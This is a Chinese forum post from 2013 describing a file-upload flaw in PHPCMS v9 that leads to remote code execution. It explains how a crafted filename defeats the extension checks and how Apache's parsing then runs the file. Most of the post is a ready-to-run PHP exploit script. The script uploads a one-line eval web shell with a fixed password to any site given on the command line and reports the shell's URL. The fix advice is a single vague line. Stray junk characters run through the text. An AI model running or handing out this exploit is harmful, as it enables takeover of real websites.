找回密码
 立即注册
查看: 3091|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
3 d( v+ E  A) E; G4 q# S  Y; K/ `+ M
简要描述:6 B# ?0 u$ y0 _
. ^& N/ {! c! x+ A
phpcms v9 getshell (apache). c( M% U3 `2 \) M% S. x2 H
详细说明:
$ X; N1 w( k% H+ g+ @  v, H* E' y; S* E; w
漏洞文件:phpcms\modules\attachment\attachments.php6 e+ }( x! k. y
/ H- Z! s6 |. y5 o$ a' L
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
# a) o% _7 j. x1 Z. P后缀检测:phpcms\modules\attachment\functions\global.func.php6 {" X. ~6 {2 X! X
  d+ U' T4 T6 {7 f# P" h2 B8 U8 \$ i6 w% N

+ L. E4 ~* [& H# `" ~' S! T# [
" T# X) N& k, ffunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
- c( {) U' D( Q' Y; B# U, d* ]( p* H4 G2 O$ j6 o. s& h+ L3 v
关键函数:
3 y& h4 `; B/ N5 h5 n' ~4 r+ ^
$ Q) S( Y2 z8 w0 b. ]
3 O% L" n. e; U3 P& U5 j+ T( k9 C& w3 a- a6 O9 l( w
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  8 v2 C3 K5 l" R
6 M% [/ l3 f" u& z% _3 _2 H
  Fileext函数是对文件后缀名的提取。) L; v$ O! V0 d
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
9 V+ e! z- v& |# ~" h经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。$ i) X0 l: K/ C$ \8 k
我们回到public function crop_upload() 函数中
( `! `& d( z- e! I& |4 ]3 O: w, Kif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
! R2 r' l4 s1 P. N! y8 J在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数8 n* }. `0 D( R* ^  D
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
/ F; m! T0 v: O) K经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
# A) u0 B* A- E/ k& J- B最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
+ c  F  ?& \" g5 H! K! }7 s看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
2 }1 v; ~' v9 h5 v8 c9 A# C漏洞证明:
3 n! F  d" W/ N$ w% G( s& P' U* N  F& @) S# S6 F) L) g5 H
exp:
6 y3 C; |5 F1 f, t' W8 V& l) H5 w) P, R) M& l
<?php+ X# o* o4 C8 C  F6 M! p% H
error_reporting(E_ERROR);6 ~  q: {7 f+ y* _# D5 O6 u/ p% I/ W
set_time_limit(0);, {. v3 o$ L5 M. G
$pass="ln";
/ h" A1 n9 |4 e# _print_r(': `5 v4 `: x' z/ H5 ^$ K
+---------------------------------------------------------------------------+0 s) q4 c- ?, k" s9 R" w
PHPCms V9 GETSHELL 0DAY * E% Q0 Q# B$ k  A$ I9 p' G
code by L.N.
! b6 N4 P' C' x5 d) N) v# B* {/ V$ h2 ^: p) ?8 V+ V4 ]7 h) I7 I
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
: d8 k- n' k- [$ @# [; X( o2 x+---------------------------------------------------------------------------+  _, C1 {" l6 T' ?% v
');$ W. {, I& u. {
if ($argc < 2) {( Q8 Q" r7 }3 C5 U, s
print_r('
! v! {# E. F+ k1 e& K% a% t$ E+---------------------------------------------------------------------------+
+ [; b. {, q' T2 K4 ?4 xUsage: php '.$argv[0].' url path6 I1 d/ F' m; `: C: K, P, \
$ ?, j& a# g% U  B' t
Example:; W. i3 F. t6 f0 L# m' n
1.php '.$argv[0].' lanu.sinaapp.com
. [2 C* g9 z. D6 U. I9 c( @9 Q8 s2.php '.$argv[0].' lanu.sinaapp.com /phpcms
# c; V0 j6 C7 w: u2 ?9 G7 {+---------------------------------------------------------------------------+2 L- a. i8 Y6 m/ f) y' X/ Q, D8 ]
');
0 b( T5 Y$ W, N% j* W% h# Mexit;
( ]* W, o  ^3 V8 d' P}8 x' z: G) v, B6 m2 R' Z& b

, C7 M& s+ v. J, S$url = $argv[1];8 W3 \! `7 ^. N' F; l, O
$path = $argv[2];
& a! |( Q' {2 |# r$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';8 K0 W* m) D/ Q4 D. r
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';0 j% O) R" v! {1 X- P/ t
if($ret=Create_dir($url,$path))
% @/ M/ W+ o" D9 @5 T8 u{8 `  z1 M5 N- `1 v! W4 g% S
//echo $ret;, c" W4 s* J5 D7 Z3 u
$pattern = "|Server:[^,]+?|U";! a) H% z& f  J* ?. B; l) j* }
preg_match_all($pattern, $ret, $matches);  a0 \/ i+ b3 b
if($matches[0][0])
! A% q& b; x5 o3 W{; h" z  \- D4 t7 L! i9 y# G
if(strpos($matches[0][0],'Apache') == false)& C1 f! ^6 w0 l5 O
{
+ l- U* L5 l9 D8 [echo "\n亲!此网站不是apache的网站。\n";exit;
0 L# ~: V: ~# b+ \1 ?}% J' J+ a) F4 \1 B+ o# x
}
% x" g. f2 n; m$ret = GetShell($url,$phpshell,$path,$file);
. p; i6 e0 R3 e9 U: c) b$pattern = "|http:\/\/[^,]+?\.,?|U";
9 w# X  p$ q/ N7 ?# [$ }preg_match_all($pattern, $ret, $matches);- x7 v5 T5 `5 U5 C8 r
if($matches[0][0])- n" z* o" H; q( _5 g0 l
{
4 f+ V) }& \: J: O7 ?8 B( Recho "\n".'密码为: '.$pass."\n";
- u/ f. e1 a* B' [2 A0 Cecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;( V0 C  O, O' N8 L
}( \' M0 W3 h0 f" m3 h+ t8 r
else! j4 \0 y. U% v- |& O) P
{
/ ?. O+ p' s+ }  U$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
3 p) @- U7 O$ j8 apreg_match_all($pattern, $ret, $matches);
+ Y* f+ h7 Y4 n9 _6 wif($matches[0][0])+ \8 f! M$ B' k* ^  Q0 E
{
/ T  A; t, c+ y. n5 j, {echo "\n".'密码为: '.$pass."\n";( o: `& }4 s. v$ P
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;; B" M$ s1 K4 N. X* {
}
# p8 ?" @; W% z  Helse
+ P5 e7 M. W7 J6 c{
1 \. R, ?: C: |6 hecho "\r\n没得到!\n";exit;/ X, `' ~- ?6 r! s
}( s0 `4 M! C# E3 c* w0 Q4 `
}5 d4 x$ i' G5 d$ o
}
/ I* ?! x& `0 c
2 w5 M# W* p$ e, B* A0 Q% jfunction GetShell($url,$shell,$path,$js)
* z3 v# E5 X) x{4 [, |; }9 A& |* G' f
$content =$shell;
  O% I1 r  Z+ f; V+ p/ W8 ?$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
2 U' ?* u. u; w" ^" u) n6 }& x$data .= "Host: ".$url."\r\n";; f7 d1 Y" u, _( P; w5 g4 {; v
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
4 m, @+ w! j/ v% o; _- o$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
5 b- h( C0 I- \& ]: I1 `' K  N1 _$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
  I) q7 U* ^2 o8 h$data .= "Connection: close\r\n";1 n- \' @, k* ]7 ~
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";) D) d* H+ ~' S' n
$data .= $content."\r\n";( y0 s; S! q* G) |9 C: u8 e
$ock=fsockopen($url,80);
0 ~3 E! u# v$ H0 ^if (!$ock)
2 ~# ?  [" ^) w! e! K+ `$ b{( ]) f& U+ a2 S$ h- A+ ~& H6 `! ]
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
3 w; Q* a2 q7 L# h+ N( c' \' o}
: `% A) M0 `" {else3 e( s1 ?) @+ j2 J2 l0 ]
{" j: O5 @4 b8 W* f
fwrite($ock,$data);& D- U3 d* I- o, ^$ o
$resp = '';
0 a8 R/ V6 `' @7 J4 j0 G' cwhile (!feof($ock)): o+ ^6 Y* r. W& @( n- W
{
! }. b* R7 A9 s5 s, A& v$resp.=fread($ock, 1024);- h1 [% z. t! v3 L' g
}9 @, k" m; {  z% M
return $resp;+ T2 M2 G  r! d* m* s
}, |$ H' P+ r# A8 D" T  v1 J
}- O' F6 L; j% U" @0 X2 N( M/ y$ q  y/ A
; P& h5 ?: @, r& l( K+ ?! N. {
function Create_dir($url,$path='')
6 a. [# d! c% |! ^{3 @8 ^& [$ P6 b8 K; `
$content ='I love you';
% ~, o# F  |1 y, p5 g1 i2 ]/ y$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
( J3 v9 @- `! O* X& V4 `. E1 S$data .= "Host: ".$url."\r\n";
$ J) Q. H7 R6 c8 l) r, U+ c8 }$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";% @3 @( Q$ _: E+ A' p
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 M5 Q% {" i. T2 F( ~: Z$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
4 U# w9 u; I. _+ _+ o" v7 K$data .= "Connection: close\r\n";) s- N) B3 K" y# ^5 W* `: ]
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";; h& ]9 @! p: R# ?% e% s7 }
$data .= $content."\r\n";
4 n( j. @! \8 ^' R/ H' T$ock=fsockopen($url,80);  X2 \' \* u- m  o
if (!$ock)& o( ]! R4 D( `* `3 N5 \' E
{
( i2 W7 j$ w1 R: r8 a. lecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;. p% d3 K3 u) Q/ M2 R
}
3 d. I+ W4 E) Ifwrite($ock,$data);
& M2 h9 \" M: O4 y, ~$resp = '';
$ ^& o" d# r8 o5 x8 swhile (!feof($ock))3 Z# u4 ?7 z* I  P. r: s7 f
{
; L8 M1 ?  _' q  F1 j$resp.=fread($ock, 1024);
3 @" R# E, D  m: v! p, ^. D0 q}* V& Q; m- u6 K$ ^. Q1 }2 E
return $resp;0 t: T; |/ {. C$ r
}
9 d# Y0 z( p$ r?>
1 d, v0 S" {- ^9 e' B! h
/ Z. X9 T2 w. w& E  g# g; {( ^修复方案:& U8 ?3 u& r8 o6 @
2 b3 X: Y: z: f* g
过滤过滤再过滤+ t" j2 Y7 n% A
  r- P9 B1 x) E/ Z( `% z; Z; q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表